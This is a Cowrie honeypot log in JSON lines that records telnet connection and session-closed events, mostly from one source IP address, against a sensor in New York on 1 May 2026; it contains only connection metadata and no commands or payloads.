{"eventid":"cowrie.session.closed","duration":48.93596029281616,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.652730Z","src_ip":"188.208.141.113","session":"327327b2f94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.187482595443726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:12.987840Z","src_ip":"104.167.8.156","session":"b64ef9e4def3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83927583694458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.025163Z","src_ip":"104.167.8.156","session":"58fce0142c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55382,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b38a17f8823","protocol":"telnet","message":"New connection: 104.167.8.156:55382 (10.17.0.5:23) [session: 6b38a17f8823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.071502Z"}
{"eventid":"cowrie.session.closed","duration":30.826624393463135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.115416Z","src_ip":"108.61.251.217","session":"e5967d842119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.590623140335083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.254603Z","src_ip":"104.167.8.156","session":"9241e72acab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.424863815307617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.461596Z","src_ip":"104.167.8.156","session":"fbeb34f2786f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92240047454834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.485724Z","src_ip":"104.167.8.156","session":"371254809b17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53672,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb1d5421ed3","protocol":"telnet","message":"New connection: 104.167.8.156:53672 (10.17.0.5:23) [session: 1fb1d5421ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.608344Z"}
{"eventid":"cowrie.session.closed","duration":31.149250507354736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.625481Z","src_ip":"104.167.8.156","session":"56e2eb9928c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59216,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcb3ce74e49f","protocol":"telnet","message":"New connection: 104.167.8.156:59216 (10.17.0.5:23) [session: bcb3ce74e49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.952327Z"}
{"eventid":"cowrie.session.closed","duration":31.71852946281433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:13.976511Z","src_ip":"104.167.8.156","session":"ffe9675b4802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.418119430541992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.130430Z","src_ip":"104.167.8.156","session":"5a2f29429fdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56486,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11f9dd70dc0","protocol":"telnet","message":"New connection: 104.167.8.156:56486 (10.17.0.5:23) [session: b11f9dd70dc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.336692Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"a241da80ed70","protocol":"telnet","message":"New connection: 104.167.8.156:56816 (10.17.0.5:23) [session: a241da80ed70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.412079Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33158,"dst_ip":"10.17.0.5","dst_port":23,"session":"b498d42c3e9e","protocol":"telnet","message":"New connection: 104.167.8.156:33158 (10.17.0.5:23) [session: b498d42c3e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.537713Z"}
{"eventid":"cowrie.session.closed","duration":31.336673498153687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.644292Z","src_ip":"104.167.8.156","session":"2927ab581b58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209715127944946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.742257Z","src_ip":"104.167.8.156","session":"38ea7b1ec708","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.650943279266357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:14.747436Z","src_ip":"104.167.8.156","session":"a571af5d37be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.694403409957886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.044509Z","src_ip":"104.167.8.156","session":"e68994f85113","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8278cd8cfcaa","protocol":"telnet","message":"New connection: 104.167.8.156:51824 (10.17.0.5:23) [session: 8278cd8cfcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.185006Z"}
{"eventid":"cowrie.session.closed","duration":31.179023504257202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.239738Z","src_ip":"104.167.8.156","session":"0c6367894bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36048,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e65868d41a","protocol":"telnet","message":"New connection: 104.167.8.156:36048 (10.17.0.5:23) [session: 23e65868d41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.314518Z"}
{"eventid":"cowrie.session.closed","duration":30.54628872871399,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.332584Z","src_ip":"104.167.8.156","session":"efa40ec57a9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d9a3cec5f3d","protocol":"telnet","message":"New connection: 104.167.8.156:33850 (10.17.0.5:23) [session: 6d9a3cec5f3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.714910Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":34022,"dst_ip":"10.17.0.5","dst_port":23,"session":"12945f986d4d","protocol":"telnet","message":"New connection: 104.167.8.156:34022 (10.17.0.5:23) [session: 12945f986d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.752975Z"}
{"eventid":"cowrie.session.closed","duration":31.44070863723755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.868942Z","src_ip":"104.167.8.156","session":"a4fbb0ed90c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.983537435531616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:15.913744Z","src_ip":"104.167.8.156","session":"e7eaa0b1c886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.510156393051147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.063100Z","src_ip":"104.167.8.156","session":"939e2e877a17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791852951049805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.074708Z","src_ip":"104.167.8.156","session":"b1e16c4d84d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38967,"dst_ip":"10.17.0.5","dst_port":23,"session":"2953ebc1ea6d","protocol":"telnet","message":"New connection: 104.167.8.156:38967 (10.17.0.5:23) [session: 2953ebc1ea6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.109838Z"}
{"eventid":"cowrie.session.closed","duration":30.53391671180725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.263719Z","src_ip":"104.167.8.156","session":"00aa3158c1fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39560,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fbbbcc6d235","protocol":"telnet","message":"New connection: 104.167.8.156:39560 (10.17.0.5:23) [session: 9fbbbcc6d235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.286309Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36646,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9d5af4bbba","protocol":"telnet","message":"New connection: 104.167.8.156:36646 (10.17.0.5:23) [session: ca9d5af4bbba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.505461Z"}
{"eventid":"cowrie.session.closed","duration":30.71250319480896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.530313Z","src_ip":"104.167.8.156","session":"59bc3e0d0ddf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":36232,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4eaef68f4c8","protocol":"telnet","message":"New connection: 98.70.41.28:36232 (159.203.135.109:23) [session: d4eaef68f4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.666109Z"}
{"eventid":"cowrie.session.closed","duration":31.4866304397583,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.691895Z","src_ip":"108.61.251.217","session":"6483074cea76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38006,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d1e8d22b69a","protocol":"telnet","message":"New connection: 104.167.8.156:38006 (10.17.0.5:23) [session: 5d1e8d22b69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:16.856778Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42454,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e10a4af27c","protocol":"telnet","message":"New connection: 104.167.8.156:42454 (10.17.0.5:23) [session: f7e10a4af27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.003666Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":36222,"dst_ip":"159.203.135.109","dst_port":23,"session":"853bb37ec121","protocol":"telnet","message":"New connection: 98.70.41.28:36222 (159.203.135.109:23) [session: 853bb37ec121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.077482Z"}
{"eventid":"cowrie.session.closed","duration":30.268650770187378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.121508Z","src_ip":"104.167.8.156","session":"0c5e8cf9ccfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744071006774902,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.131633Z","src_ip":"104.167.8.156","session":"cb557773de17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20939803123474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.174372Z","src_ip":"104.167.8.156","session":"d0efa8403a39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69503092765808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.195302Z","src_ip":"104.167.8.156","session":"f7dae7e62af2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04940676689148,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.259782Z","src_ip":"108.61.251.217","session":"b42f1bf48223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43836,"dst_ip":"10.17.0.5","dst_port":23,"session":"548a6c3007bc","protocol":"telnet","message":"New connection: 104.167.8.156:43836 (10.17.0.5:23) [session: 548a6c3007bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.343280Z"}
{"eventid":"cowrie.session.closed","duration":30.603119373321533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.358170Z","src_ip":"104.167.8.156","session":"5a47eb9207a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44196,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa2180af3127","protocol":"telnet","message":"New connection: 104.167.8.156:44196 (10.17.0.5:23) [session: aa2180af3127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.417540Z"}
{"eventid":"cowrie.session.closed","duration":31.21319890022278,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.432500Z","src_ip":"104.167.8.156","session":"7cc931b786ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44590,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8326d2c82bf","protocol":"telnet","message":"New connection: 104.167.8.156:44590 (10.17.0.5:23) [session: d8326d2c82bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.507370Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":36190,"dst_ip":"159.203.135.109","dst_port":23,"session":"98b75848f1f8","protocol":"telnet","message":"New connection: 98.70.41.28:36190 (159.203.135.109:23) [session: 98b75848f1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.532435Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33140,"dst_ip":"10.17.0.5","dst_port":23,"session":"d24c38bfab70","protocol":"telnet","message":"New connection: 104.167.8.156:33140 (10.17.0.5:23) [session: d24c38bfab70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.536800Z"}
{"eventid":"cowrie.session.closed","duration":31.48870539665222,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.792349Z","src_ip":"108.61.251.217","session":"94a5384da171","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45708,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbe2d56dffb7","protocol":"telnet","message":"New connection: 104.167.8.156:45708 (10.17.0.5:23) [session: fbe2d56dffb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.797857Z"}
{"eventid":"cowrie.session.closed","duration":31.629888772964478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:17.882403Z","src_ip":"108.61.251.217","session":"9cd166d939e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47244,"dst_ip":"10.17.0.5","dst_port":23,"session":"b570aed725f5","protocol":"telnet","message":"New connection: 104.167.8.156:47244 (10.17.0.5:23) [session: b570aed725f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.199841Z"}
{"eventid":"cowrie.session.closed","duration":30.8455913066864,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.204964Z","src_ip":"104.167.8.156","session":"6c1924faf8fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.727039575576782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.219853Z","src_ip":"108.61.251.217","session":"e63ee34e01a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01813268661499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.237104Z","src_ip":"104.167.8.156","session":"83d93800259e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.627142906188965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.289183Z","src_ip":"104.167.8.156","session":"41bc11c4f2b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48116,"dst_ip":"10.17.0.5","dst_port":23,"session":"2873ca6c9e63","protocol":"telnet","message":"New connection: 104.167.8.156:48116 (10.17.0.5:23) [session: 2873ca6c9e63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.422757Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":44506,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3fc00cd6e6c","protocol":"telnet","message":"New connection: 108.61.251.217:44506 (10.17.0.5:23) [session: e3fc00cd6e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.452307Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48702,"dst_ip":"10.17.0.5","dst_port":23,"session":"457ca61b1929","protocol":"telnet","message":"New connection: 104.167.8.156:48702 (10.17.0.5:23) [session: 457ca61b1929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.595753Z"}
{"eventid":"cowrie.session.closed","duration":31.43868589401245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:18.886323Z","src_ip":"104.167.8.156","session":"8ccab14d783f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88949465751648,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.020403Z","src_ip":"104.167.8.156","session":"2ef340d2ad03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49592089653015,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.024314Z","src_ip":"104.167.8.156","session":"6727e22d7aff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.61973786354065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.092057Z","src_ip":"104.167.8.156","session":"8148441752f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554182291030884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.174569Z","src_ip":"104.167.8.156","session":"6692db23ddd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47206,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ebda3093731","protocol":"telnet","message":"New connection: 104.167.8.156:47206 (10.17.0.5:23) [session: 2ebda3093731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.188095Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48074,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8efba0d9885","protocol":"telnet","message":"New connection: 104.167.8.156:48074 (10.17.0.5:23) [session: c8efba0d9885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.414675Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52138,"dst_ip":"10.17.0.5","dst_port":23,"session":"476657e81bd3","protocol":"telnet","message":"New connection: 104.167.8.156:52138 (10.17.0.5:23) [session: 476657e81bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.573920Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48832,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7249956ec87","protocol":"telnet","message":"New connection: 104.167.8.156:48832 (10.17.0.5:23) [session: d7249956ec87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.652653Z"}
{"eventid":"cowrie.session.closed","duration":30.77263307571411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.684619Z","src_ip":"104.167.8.156","session":"f7c278cffbdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.184352159500122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.711023Z","src_ip":"104.167.8.156","session":"ff0241a6fe93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52758,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5664995294a","protocol":"telnet","message":"New connection: 104.167.8.156:52758 (10.17.0.5:23) [session: a5664995294a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.794142Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff9c28f17c87","protocol":"telnet","message":"New connection: 104.167.8.156:52966 (10.17.0.5:23) [session: ff9c28f17c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.841084Z"}
{"eventid":"cowrie.session.closed","duration":31.56212830543518,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.968404Z","src_ip":"104.167.8.156","session":"d0a50735a8d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53566,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1ca4f01fb4b","protocol":"telnet","message":"New connection: 104.167.8.156:53566 (10.17.0.5:23) [session: f1ca4f01fb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:19.995249Z"}
{"eventid":"cowrie.session.closed","duration":31.373117446899414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.016800Z","src_ip":"104.167.8.156","session":"caa3e42d35a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.879516124725342,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.058899Z","src_ip":"98.70.41.28","session":"56cee93ce734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53858,"dst_ip":"10.17.0.5","dst_port":23,"session":"06004b73b338","protocol":"telnet","message":"New connection: 104.167.8.156:53858 (10.17.0.5:23) [session: 06004b73b338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.091055Z"}
{"eventid":"cowrie.session.closed","duration":31.00511646270752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.217628Z","src_ip":"104.167.8.156","session":"2c1fea11abc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231443166732788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:41:20.309364Z","src_ip":"108.61.251.217","session":"d053df1fe280","protocol":"telnet"}
